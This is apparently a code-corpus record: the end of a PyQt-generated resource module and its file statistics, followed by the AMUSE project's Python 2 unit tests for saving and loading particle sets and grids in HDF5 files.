\x00\x6c\x00\x75\x00\x67\x00\x69\x00\x6e\x00\x73\ \x00\x0c\ \x06\x5f\x25\xc2\ \x00\x56\ \x00\x61\x00\x72\x00\x4d\x00\x69\x00\x78\x00\x56\x00\x69\x00\x65\x00\x77\x00\x65\x00\x72\ \x00\x08\ \x0a\x61\x5a\xa7\ \x00\x69\ \x00\x63\x00\x6f\x00\x6e\x00\x2e\x00\x70\x00\x6e\x00\x67\ " qt_resource_struct_v1 = b"\ \x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\ \x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x02\ \x00\x00\x00\x14\x00\x02\x00\x00\x00\x01\x00\x00\x00\x03\ \x00\x00\x00\x32\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\ " qt_resource_struct_v2 = b"\ \x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\ \x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x02\ \x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x14\x00\x02\x00\x00\x00\x01\x00\x00\x00\x03\ \x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x32\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\ \x00\x00\x01\x63\x6c\xe7\x75\x7a\ " qt_version = QtCore.qVersion().split('.') if qt_version < ['5', '8', '0']: rcc_version = 1 qt_resource_struct = qt_resource_struct_v1 else: rcc_version = 2 qt_resource_struct = qt_resource_struct_v2 def qInitResources(): QtCore.qRegisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data) def qCleanupResources(): QtCore.qUnregisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data) qInitResources()

36.011765

103

0.724926

655

3,061

3.329771

0.345038

0.297111

0.301238

0.225585

0.270977

0.240257

0

0.31317

0.054884

3,061

84

104

36.440476

0.440719

0.049657

0

0.161765

0

0.455882

0.001378

0

1

0

1

0.029412

false

0

0.014706

0

0.044118

0

null

1

0

1

0

1

0

1

0

null

1

0

7

5d2015c61f1e185071045e3c490b0b48047f5f0c

41,428

py

Python

test/core_tests/test_store.py

cgroeneveld/amuse

9684fd22ce8293b837d2c78f56948e3ec3d04032

[ "Apache-2.0" ]

null

test/core_tests/test_store.py

cgroeneveld/amuse

9684fd22ce8293b837d2c78f56948e3ec3d04032

[ "Apache-2.0" ]

null

test/core_tests/test_store.py

cgroeneveld/amuse

9684fd22ce8293b837d2c78f56948e3ec3d04032

[ "Apache-2.0" ]

null

from amuse.test import amusetest import os import numpy import time from amuse import io from amuse.io import store from amuse.io import store_v1 from amuse.io import store_v2 from amuse.units import units from amuse.units import nbody_system from amuse.datamodel import Particles from amuse.datamodel import ParticlesOverlay from amuse.datamodel import Grid from amuse.datamodel import ParticlesSuperset class _AbstractTestStoreHDF(amusetest.TestCase): def store_factory(self): raise NotImplementedError def store_version(self): raise NotImplementedError def get_version_in_store(self, container): raise NotImplementedError def test1(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test1."+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) instance = self.store_factory()(output_file) number_of_particles = 10 p = Particles(number_of_particles) p.mass = [x * 2.0 for x in range(number_of_particles)] | units.kg p.model_time = 2.0 | units.s instance.store(p) loaded_particles = instance.load() loaded_mass_in_kg = loaded_particles.mass.value_in(units.kg) previous_mass_in_kg = p.mass.value_in(units.kg) for expected, actual in zip(previous_mass_in_kg, loaded_mass_in_kg): self.assertEquals(expected, actual) instance.close() def test2(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test2."+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) instance = self.store_factory()(output_file) number_of_particles = 10 p = Particles(number_of_particles) p.mass = [x * 2.0 for x in range(number_of_particles)] | units.kg instance.store(p.savepoint(1 | units.Myr)) p.mass = [x * 4.0 for x in range(number_of_particles)] | units.kg instance.store(p.savepoint(2 | units.Myr)) instance.close() instance = self.store_factory()(output_file) loaded_particles = instance.load() self.assertAlmostRelativeEquals(self.get_version_in_store(loaded_particles).get_timestamp(), 2 | units.Myr) self.assertAlmostRelativeEquals(self.get_version_in_store(loaded_particles).previous_state().get_timestamp(), 1 | units.Myr) masses = loaded_particles[1].get_timeline_of_attribute("mass") self.assertEquals(len(masses), 2) instance.close() def test3(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test3"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) instance = self.store_factory()(output_file) number_of_particles = 10 p = Particles(number_of_particles) p.mass = [x * 2.0 for x in range(number_of_particles)] | nbody_system.mass instance.store(p.savepoint(1 | nbody_system.time)) instance.close() instance = self.store_factory()(output_file) loaded_particles = instance.load() self.assertAlmostRelativeEquals(p.mass[1], 2.0 | nbody_system.mass) instance.close() def test4(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test4"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) particles = Particles(10) particles.mass = 1.0 | units.kg particles.x = 2.0 | units.m x = particles.savepoint(2.0 | units.s) io.write_set_to_file(x,output_file, format='amuse', version = self.store_version()) particles_from_file = io.read_set_from_file(output_file, format='amuse', version = self.store_version(), close_file = True) particles_in_memory = particles_from_file.copy() self.assertAlmostRelativeEquals(particles_in_memory.mass[1], 1.0 | units.kg) particles_in_memory.savepoint(4.0 | units.s) self.assertAlmostRelativeEquals(particles_from_file.mass[2], 1.0 | units.kg) def test5(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test5_grid"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) instance = self.store_factory()(output_file) shape = 10, 10, 10 p = Grid(*shape) p.mass = ([x * 2.0 for x in range(p.size)] | units.kg).reshape(shape) p.model_time = 2.0 | units.s instance.store_grid(p) loaded_grid = instance.load_grid() self.assertEquals(loaded_grid.shape, shape) loaded_mass_in_kg = loaded_grid.mass.value_in(units.kg) previous_mass_in_kg = p.mass.value_in(units.kg) for expected, actual in zip(previous_mass_in_kg, loaded_mass_in_kg): self.assertEquals(expected, actual) instance.close() def test6(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test6_grid"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) instance = self.store_factory()(output_file) shape = 10, 10, 10 p = Grid(*shape) p.mass = ([x * 2.0 for x in range(p.size)] | units.kg).reshape(shape) p.model_time = 2.0 | units.s instance.store_grid(p.savepoint(1| units.Myr)) loaded_grid = self.get_version_in_store(instance.load_grid()) self.assertAlmostRelativeEquals(loaded_grid.get_timestamp(), 1| units.Myr) self.assertEquals(loaded_grid.shape, shape) self.assertEquals(loaded_grid[0][0][0].mass, 0 | units.kg) self.assertAlmostRelativeEquals(loaded_grid[...,1,1].mass, p[...,1,1].mass) instance.close() def test7(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test7"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) instance = self.store_factory()(output_file) number_of_particles = 10 p = Particles(number_of_particles) p.mass = [x * 2.0 for x in range(number_of_particles)] | units.kg p.model_time = 2.0 | units.s instance.store(p) instance.close() instance = self.store_factory()(output_file) loaded_particles = self.get_version_in_store(instance.load()) loaded_particles.mass = [x * 3.0 for x in range(number_of_particles)] | units.kg previous_mass_in_kg = [x * 3.0 for x in range(number_of_particles)] instance.close() instance = self.store_factory()(output_file) loaded_particles = instance.load() loaded_mass_in_kg = loaded_particles.mass.value_in(units.kg) for expected, actual in zip(previous_mass_in_kg, loaded_mass_in_kg): self.assertEquals(expected, actual) instance.close() instance = self.store_factory()(output_file) loaded_particles = self.get_version_in_store(instance.load()) loaded_particles[2].mass = 44 | units.kg instance.close() instance = self.store_factory()(output_file) loaded_particles = self.get_version_in_store(instance.load()) self.assertEquals( 44 | units.kg, loaded_particles[2].mass) instance.close() def test8(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test8"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) instance = self.store_factory()(output_file) number_of_particles = 10 p = Particles(number_of_particles) p.mass = numpy.asarray([x * 2.0 for x in range(number_of_particles)]) instance.store(p.savepoint(1 | nbody_system.time)) instance.close() instance = self.store_factory()(output_file) loaded_particles = instance.load() self.assertAlmostRelativeEquals(p.mass[1], 2.0) instance.close() def test9(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test9"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) number_of_particles = 10 p = Particles(number_of_particles) p.mass = [x * 2.0 for x in range(number_of_particles)] | units.kg p.model_time = 2.0 | units.s io.write_set_to_file( p, output_file, "hdf5", timestamp = 2 | units.Myr, scale = 1 | units.kg, version = self.store_version(), close_file = True ) loaded_particles = io.read_set_from_file( output_file, "hdf5", version = self.store_version() ) loaded_particles = self.get_version_in_store(loaded_particles) a = loaded_particles.collection_attributes self.assertAlmostRelativeEquals(a.timestamp, 2 | units.Myr) self.assertAlmostRelativeEquals(a.scale, 1 | units.kg) def test10(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test10"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) shape = 10, 10, 10 p = Grid(*shape) p.mass = ([x * 2.0 for x in range(p.size)] | units.kg).reshape(shape) p.model_time = 2.0 | units.s io.write_set_to_file(p, output_file, "hdf5", timestamp = 2 | units.Myr, scale = 1 | units.kg, version = self.store_version()) loaded_particles = io.read_set_from_file(output_file, "hdf5", version = self.store_version()) loaded_particles = self.get_version_in_store(loaded_particles) a = loaded_particles.collection_attributes self.assertAlmostRelativeEquals(a.timestamp, 2 | units.Myr) self.assertAlmostRelativeEquals(a.scale, 1 | units.kg) def test11(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test11"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) number_of_particles = 10 p = Particles(number_of_particles) p.mass = [x * 2.0 for x in range(number_of_particles)] | units.kg p.model_time = 2.0 | units.s io.write_set_to_file(p.savepoint(timestamp = 2 | units.Myr, scale = 1 | units.kg), output_file, "hdf5", version = self.store_version()) loaded_particles = io.read_set_from_file(output_file, "hdf5", version = self.store_version()) loaded_particles = self.get_version_in_store(loaded_particles) a = loaded_particles.collection_attributes self.assertAlmostRelativeEquals(a.timestamp, 2 | units.Myr) self.assertAlmostRelativeEquals(a.scale, 1 | units.kg) def test12(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test12"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) shape = 10, 10, 10 p = Grid(*shape) p.mass = ([x * 2.0 for x in range(p.size)] | units.kg).reshape(shape) p.model_time = 2.0 | units.s io.write_set_to_file(p.savepoint(timestamp = 2 | units.Myr, scale = 1 | units.kg), output_file, "hdf5", version = self.store_version()) loaded_particles = io.read_set_from_file(output_file, "hdf5", version = self.store_version()) loaded_particles = self.get_version_in_store(loaded_particles) a = loaded_particles.collection_attributes self.assertAlmostRelativeEquals(a.timestamp, 2 | units.Myr) self.assertAlmostRelativeEquals(a.scale, 1 | units.kg) def test13(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test13"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) stars = Particles(2) stars.x = 1.0 | units.km stars.md = [[1,2,3],[4,5,6]] | units.km io.write_set_to_file(stars, output_file, "hdf5", version = self.store_version()) loaded = io.read_set_from_file(output_file, "hdf5", version = self.store_version()) self.assertEquals(loaded[0].md, [1,2,3] | units.km) self.assertEquals(loaded[1].md, [4,5,6] | units.km) self.assertEquals(loaded.md[0], [1,2,3] | units.km) self.assertEquals(loaded.md[1], [4,5,6] | units.km) self.assertEquals(self.get_version_in_store(loaded)[0].md, [1,2,3] | units.km) #self.assertEquals(self.get_version_in_store(loaded)[0].md, [7,8,9] | units.km) def test14(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test14"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) stars = Particles(2) stars.x = 1.0 | units.km stars.md = [[[1,3],[2,4],[3,5]],[[4,6],[5,7],[6,8]]] io.write_set_to_file(stars, output_file, "hdf5", version = self.store_version()) loaded = io.read_set_from_file(output_file, "hdf5", version = self.store_version()) self.assertEquals(loaded[0].md, [[1,3],[2,4],[3,5]]) self.assertEquals(loaded[1].md, [[4,6],[5,7],[6,8]]) self.assertEquals(loaded.md[0], [[1,3],[2,4],[3,5]]) self.assertEquals(loaded.md[1], [[4,6],[5,7],[6,8]]) def test15(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test15"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) stars = Particles(2) stars.x = 1.0 | units.km stars.md = [[[1,3],[2,4],[3,5]],[[4,6],[5,7],[6,8]]] io.write_set_to_file(stars, output_file, "hdf5", version = self.store_version()) processor = self.store_factory()(output_file, True, open_for_writing = True) loaded = processor.load() self.get_version_in_store(loaded)[0].md = [[3,1],[3,4],[5,2]] self.assertEquals(self.get_version_in_store(loaded)[0].md, [[3,1],[3,4],[5,2]] ) processor.close() loaded = io.read_set_from_file(output_file, "hdf5", version = self.store_version()) self.assertEquals(loaded[0].md, [[3,1],[3,4],[5,2]]) self.assertEquals(loaded[1].md, [[4,6],[5,7],[6,8]]) def test16(self): import h5py print h5py.version.version print h5py test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test16"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) stars = Particles(2) stars[0].x = 1.0 | units.km stars[1].x = 2.0 | units.km stars[0].nn = stars[1] stars[1].nn = stars[0] self.assertEqual(stars[0].nn,stars[1]) self.assertEqual(stars[1].nn,stars[0]) io.write_set_to_file(stars, output_file, "hdf5", version = self.store_version()) processor = self.store_factory()(output_file, True, open_for_writing = True) loaded = processor.load() self.assertEqual(loaded[0].nn,loaded[1]) self.assertEqual(loaded[1].nn,loaded[0]) self.assertEqual(loaded[0].nn.key,stars[1].key) self.assertEqual(loaded[0].nn.x,stars[1].x) def test17(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test17"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) stars = Particles(4) stars[0].x = 1.0 | units.km stars[1].x = 2.0 | units.km stars[2].x = 3.0 | units.km stars[3].x = 4.0 | units.km binaries = Particles(2) binaries[0].y = 1.0 | units.km binaries[1].y = 2.0 | units.km binaries[0].child1 = stars[0] binaries[0].child2 = stars[1] binaries[1].child1 = stars[2] binaries[1].child2 = stars[3] self.assertEqual(binaries[0].child1,stars[0]) self.assertEqual(binaries[1].child1,stars[2]) io.write_set_to_file(binaries, output_file, "hdf5", version = self.store_version()) loaded = io.read_set_from_file(output_file, "hdf5", version = self.store_version()) self.assertEqual(loaded[0].child1.key,stars[0].key) self.assertEqual(loaded[1].child1.key,stars[2].key) def test18(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test18"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) stars = Particles(2) stars[0].x = 1.0 | units.km stars[1].x = 2.0 | units.km binaries = Particles(1) binaries[0].y = 1.0 | units.km binaries[0].child1 = stars[0] binaries[0].child2 = stars[1] stars[0].parent = binaries[0] stars[1].parent = binaries[0] self.assertEqual(binaries[0].child1,stars[0]) self.assertEqual(binaries[0].child2,stars[1]) self.assertEqual(binaries[0].child1.parent,binaries[0]) self.assertEqual(binaries[0].child2.parent,binaries[0]) io.write_set_to_file(binaries, output_file, "hdf5", version = self.store_version()) loaded = io.read_set_from_file(output_file, "hdf5", version = self.store_version()) self.assertEqual(loaded[0].child1.key,stars[0].key) self.assertEqual(loaded[0].child2.key,stars[1].key) self.assertEqual(loaded[0].child1,stars[0]) self.assertEqual(loaded[0].child2,stars[1]) self.assertEqual(loaded[0].child1.parent,loaded[0]) self.assertEqual(loaded[0].child2.parent,loaded[0]) def test19(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test19"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) stars = Particles(2) stars[0].x = 1.0 | units.km stars[1].x = 2.0 | units.km binaries = Particles(1) binaries[0].y = 1.0 | units.km binaries[0].child1 = stars[0] binaries[0].child2 = stars[1] stars[0].parent = binaries[0] stars[1].parent = binaries[0] self.assertEqual(binaries[0].child1,stars[0]) self.assertEqual(binaries[0].child2,stars[1]) self.assertEqual(binaries[0].child1.parent,binaries[0]) self.assertEqual(binaries[0].child2.parent,binaries[0]) io.write_set_to_file([binaries,stars], output_file, "hdf5", names = ['binaries', 'children'], version = self.store_version()) loader_binaries, loaded_stars = io.read_set_from_file(output_file, "hdf5", names = ['binaries', 'children'], version = self.store_version()) self.assertEqual(loader_binaries[0].child1.key,stars[0].key) self.assertEqual(loader_binaries[0].child2.key,stars[1].key) self.assertEqual(loader_binaries[0].child1,loaded_stars[0]) self.assertEqual(loader_binaries[0].child2,loaded_stars[1]) self.assertEqual(loader_binaries[0].child1.parent,loader_binaries[0]) self.assertEqual(loader_binaries[0].child2.parent,loader_binaries[0]) def test20(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test20"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) shape = 10, 10, 10 p = Grid(*shape) p.mass = (numpy.asarray([x * 2.0 for x in range(p.size)])).reshape(shape) io.write_set_to_file(p, output_file, "hdf5", version = self.store_version()) loaded = io.read_set_from_file(output_file, "hdf5", version = self.store_version()) loaded = self.get_version_in_store(loaded) self.assertAlmostRelativeEquals(p.mass[0][1][2], 24) self.assertAlmostRelativeEquals(p[0][1][2].mass, 24) def test21(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test21"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) stars = Particles(2) stars.x = 1.0 | units.km stars.md = [[[1,3],[2,4],[3,5]],[[4,6],[5,7],[6,8]]] io.write_set_to_file(stars, output_file, "hdf5", version = self.store_version()) loaded = io.read_set_from_file(output_file, "hdf5", close_file = True, version = self.store_version()) self.assertEquals(loaded[0].md, [[1,3],[2,4],[3,5]]) self.assertEquals(loaded[1].md, [[4,6],[5,7],[6,8]]) previous = loaded.previous_state() self.assertEquals(previous, None) def test22(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test22"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) stars = Particles(2) stars.x = 1.0 | units.km overlay = ParticlesOverlay(stars) overlay.y = 2.0 | units.km io.write_set_to_file(overlay, output_file, "hdf5", version = self.store_version()) loaded = io.read_set_from_file(output_file, "hdf5", close_file = True, version = self.store_version()) self.assertEquals(loaded[0].x, 1.0 | units.km) self.assertEquals(loaded[1].y, 2.0 | units.km) def test23(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test23"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) particles = Particles() io.write_set_to_file(particles, output_file, format='amuse', version = self.store_version()) particles_from_file = io.read_set_from_file(output_file, format='amuse', version = self.store_version()) self.assertEquals(len(particles_from_file), 0) def test24(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test24"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) particles = Particles(20) #~ particles = Particles(1000000) # For testing memory usage particles.mass = 1.0 | units.kg particles.position = [0.0, 0.0, 0.0] | units.m for i in range(10): particles.position += [1.0, 2.0, 3.0] | units.m io.write_set_to_file(particles, output_file, format='amuse', version = self.store_version()) particles_from_file = io.read_set_from_file(output_file, format='amuse', version = self.store_version()) os.remove(output_file) self.assertEquals(len(list(particles_from_file.history)), 10) for i, snap in enumerate(particles_from_file.history): self.assertEquals(len(snap), 20) self.assertEquals((i+1) * ([1.0, 2.0, 3.0] | units.m), snap.center_of_mass()) def test25(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test25"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) particles = Particles(20) #~ particles = Particles(1000000) # For testing memory usage particles.mass = 1.0 | units.kg particles.position = [0.0, 0.0, 0.0] | units.m for i in range(10): particles.position += [1.0, 2.0, 3.0] | units.m io.write_set_to_file(particles, output_file, format='amuse', version = self.store_version()) particles_from_file = io.read_set_from_file(output_file, format='amuse', version = self.store_version(), copy_history = True, close_file = True) history = list(particles_from_file.history) self.assertEquals(len(history), 10) self.assertFalse("HDF" in str(type(history[1]._private.attribute_storage))) for i, snap in enumerate(particles_from_file.history): self.assertEquals(len(snap), 20) self.assertEquals((i+1) * ([1.0, 2.0, 3.0] | units.m), snap.center_of_mass()) os.remove(output_file) def test26(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test26"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) p = Grid(20) io.write_set_to_file(p, output_file, format='amuse', version = self.store_version()) os.remove(output_file) def test27(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test27"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) instance = self.store_factory()(output_file) shape = 10, p = Grid(*shape) p.mass = ([x * 2.0 for x in range(p.size)] | units.kg).reshape(shape) p.model_time = 2.0 | units.s instance.store_grid(p) loaded_grid = instance.load_grid() self.assertEquals(loaded_grid.shape, shape) loaded_mass_in_kg = loaded_grid.mass.value_in(units.kg) previous_mass_in_kg = p.mass.value_in(units.kg) for expected, actual in zip(previous_mass_in_kg, loaded_mass_in_kg): self.assertEquals(expected, actual) instance.close() def test28(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test28"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) stars = Particles(2) stars[0].x = 1.0 | units.km stars[1].x = 2.0 | units.km binaries = Particles(1) binaries[0].y = 1.0 | units.km binaries[0].child1 = stars[0] binaries[0].child2 = stars[1] stars[0].parent = binaries[0] stars[1].parent = binaries[0] self.assertEqual(binaries[0].child1,stars[0]) self.assertEqual(binaries[0].child2,stars[1]) self.assertEqual(binaries[0].child1.parent,binaries[0]) self.assertEqual(binaries[0].child2.parent,binaries[0]) io.write_set_to_file(binaries, output_file, "hdf5", version = self.store_version()) with io.read_set_from_file(output_file, "hdf5", version = self.store_version(), return_context = True) as loaded: self.assertEqual(loaded[0].child1.key,stars[0].key) self.assertEqual(loaded[0].child2.key,stars[1].key) self.assertEqual(loaded[0].child1,stars[0]) self.assertEqual(loaded[0].child2,stars[1]) self.assertEqual(loaded[0].child1.parent,loaded[0]) self.assertEqual(loaded[0].child2.parent,loaded[0]) def test29(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test29"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) particles = Grid(10) particles.attribute1 = "normal" particles.attribute2 = u"unicode" io.write_set_to_file(particles,output_file, format='amuse', version = self.store_version()) output = io.read_set_from_file(output_file, format='amuse') self.assertEquals(output[0].attribute2, u"unicode") def test30(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test30"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) particles = Particles(10) particles.mass = 10 | units.kg io.write_set_to_file(particles,output_file, format='amuse', version = self.store_version()) output = io.read_set_from_file(output_file, format='amuse', allow_writing = True) output.new_attribute= 2 * output.mass self.assertEquals(output.new_attribute, 2 * output.mass) output = output.iter_history().next() output.new_attribute= 2 * output.mass self.assertEquals(output.new_attribute, 2 * output.mass) class TestStoreHDFV1(_AbstractTestStoreHDF): def store_factory(self): return store_v1.StoreHDF def store_version(self): return '1.0' def get_version_in_store(self, container): return container.previous_state() class TestStoreHDFV2(_AbstractTestStoreHDF): def store_factory(self): return store_v2.StoreHDF def store_version(self): return '2.0' def get_version_in_store(self, container): return container def test52(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test52"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) stars = Particles(2) stars[0].x = 1.0 | units.km stars[1].x = 2.0 | units.km gas = Particles(1) gas[0].y = 1.0 | units.km stars[0].gas = gas io.write_set_to_file(stars, output_file, "hdf5", version = self.store_version()) loaded_stars = io.read_set_from_file(output_file, "hdf5", version = self.store_version()) self.assertEquals(loaded_stars[0].gas[0].key,gas[0].key) self.assertAlmostRelativeEquals(loaded_stars[0].gas[0].y,1.0 | units.km) self.assertEquals(loaded_stars[1].gas, None) def test53(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test53"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) stars = Particles(2) stars[0].x = 1.0 | units.km stars[1].x = 2.0 | units.km gas = Grid(2,3) gas.y = [[1.0, 2.0, 3.0], [4.0,5.0,6.0]] | units.km stars[0].gas = gas io.write_set_to_file(stars, output_file, "hdf5", version = self.store_version()) loaded_stars = io.read_set_from_file(output_file, "hdf5", version = self.store_version()) self.assertAlmostRelativeEquals(loaded_stars[0].gas[0][0].y,1.0 | units.km) self.assertAlmostRelativeEquals(loaded_stars[0].gas[0][2].y,3.0 | units.km) self.assertEquals(loaded_stars[1].gas, None) def test54(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test23"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) stars = Particles(2) stars[0].x = 1.0 | units.km stars[1].x = 2.0 | units.km gas = Grid(2,3) gas.y = [[1.0, 2.0, 3.0], [4.0,5.0,6.0]] | units.km stars[0].gas = gas[0][0] stars[1].gas = gas[1][0] self.assertAlmostRelativeEquals(stars[0].gas.y,1.0 | units.km) self.assertAlmostRelativeEquals(stars[1].gas.y,4.0 | units.km) io.write_set_to_file(stars, output_file, "hdf5", version = self.store_version()) loaded_stars = io.read_set_from_file(output_file, "hdf5", version = self.store_version()) self.assertAlmostRelativeEquals(loaded_stars[0].gas.y,1.0 | units.km) self.assertAlmostRelativeEquals(loaded_stars[1].gas.y,4.0 | units.km) def test54b(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test24"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) stars = Particles(2) stars[0].x = 1.0 | units.km stars[1].x = 2.0 | units.km gas = Grid(2,3) gas.y = [[1.0, 2.0, 3.0], [4.0,5.0,6.0]] | units.km gas[0][0].particle = stars[0] gas[1][2].particle = stars[0] gas[1][0].particle = stars[1] #stars[0].gas = gas[0][0] #stars[1].gas = gas[1][0] self.assertAlmostRelativeEquals(gas[0][0].particle.x,1.0 | units.km) self.assertAlmostRelativeEquals(gas[1][2].particle.x,1.0 | units.km) self.assertAlmostRelativeEquals(gas[1][0].particle.x,2.0 | units.km) io.write_set_to_file(gas, output_file, "hdf5", version = self.store_version()) loaded_gas = io.read_set_from_file(output_file, "hdf5", version = self.store_version()) self.assertAlmostRelativeEquals(loaded_gas[0][0].particle.x, 1.0 | units.km) self.assertAlmostRelativeEquals(loaded_gas[1][2].particle.x, 1.0 | units.km) self.assertAlmostRelativeEquals(loaded_gas[1][0].particle.x, 2.0 | units.km) self.assertEquals(id(loaded_gas[0][0].particle.get_containing_set()), id(loaded_gas[1][2].particle.get_containing_set())) self.assertEqual(loaded_gas.particle.shape, loaded_gas.shape) gas_copy = loaded_gas.copy() gas_copy[0][0].particle.x = 3 | units.km self.assertAlmostRelativeEquals(loaded_gas[0][0].particle.x, 1.0 | units.km) self.assertAlmostRelativeEquals(gas_copy[0][0].particle.x, 3.0 | units.km) self.assertAlmostRelativeEquals(gas_copy[1][2].particle.x, 3.0 | units.km) def test55(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test25"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) particles1 = Particles(2) particles1[0].x = 1.0 | units.km particles1[1].x = 2.0 | units.km particles2 = Particles(2) particles2[0].x = 3.0 | units.km particles2[1].x = 4.0 | units.km particles_superset = ParticlesSuperset([particles1, particles2]) self.assertAlmostRelativeEquals(particles_superset[0].x,1.0 | units.km) self.assertAlmostRelativeEquals(particles_superset[2].x,3.0 | units.km) io.write_set_to_file(particles_superset, output_file, "hdf5", version = self.store_version()) loaded_particles_superset = io.read_set_from_file(output_file, "hdf5", version = self.store_version()) self.assertAlmostRelativeEquals(loaded_particles_superset[0].x,1.0 | units.km) self.assertAlmostRelativeEquals(loaded_particles_superset[2].x,3.0 | units.km) def test56(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test26"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) number_of_particles = 10 p = Particles(number_of_particles) p.mass = [x * 2.0 for x in range(number_of_particles)] | units.kg p.model_time = 2.0 | units.s gas = Grid(2,3) gas.y = [[1.0, 2.0, 3.0], [4.0,5.0,6.0]] | units.km io.write_set_to_file( p, output_file, "hdf5", particle = p[1], particles = p, gridpoint = gas[0][0], grid = gas, version = self.store_version() ) loaded_particles = io.read_set_from_file( output_file, "hdf5", version = self.store_version() ) attributes = loaded_particles.collection_attributes self.assertAlmostRelativeEquals(attributes.particle.mass, loaded_particles[1].mass) self.assertEquals(attributes.particle.key, loaded_particles[1].key) self.assertEquals(id(attributes.particles), id(loaded_particles)) self.assertAlmostRelativeEquals(attributes.gridpoint.y, 1.0 | units.km) self.assertAlmostRelativeEquals(attributes.grid[0][0].y, 1.0 | units.km) def test57(self): test_results_path = self.get_path_to_results() output_file = os.path.join(test_results_path, "test26"+self.store_version()+".hdf5") if os.path.exists(output_file): os.remove(output_file) x = Particles(2) x.sub = None x[0].sub = Particles(2) io.write_set_to_file(x, output_file,"amuse", version=self.store_version()) y = io.read_set_from_file(output_file,"amuse") 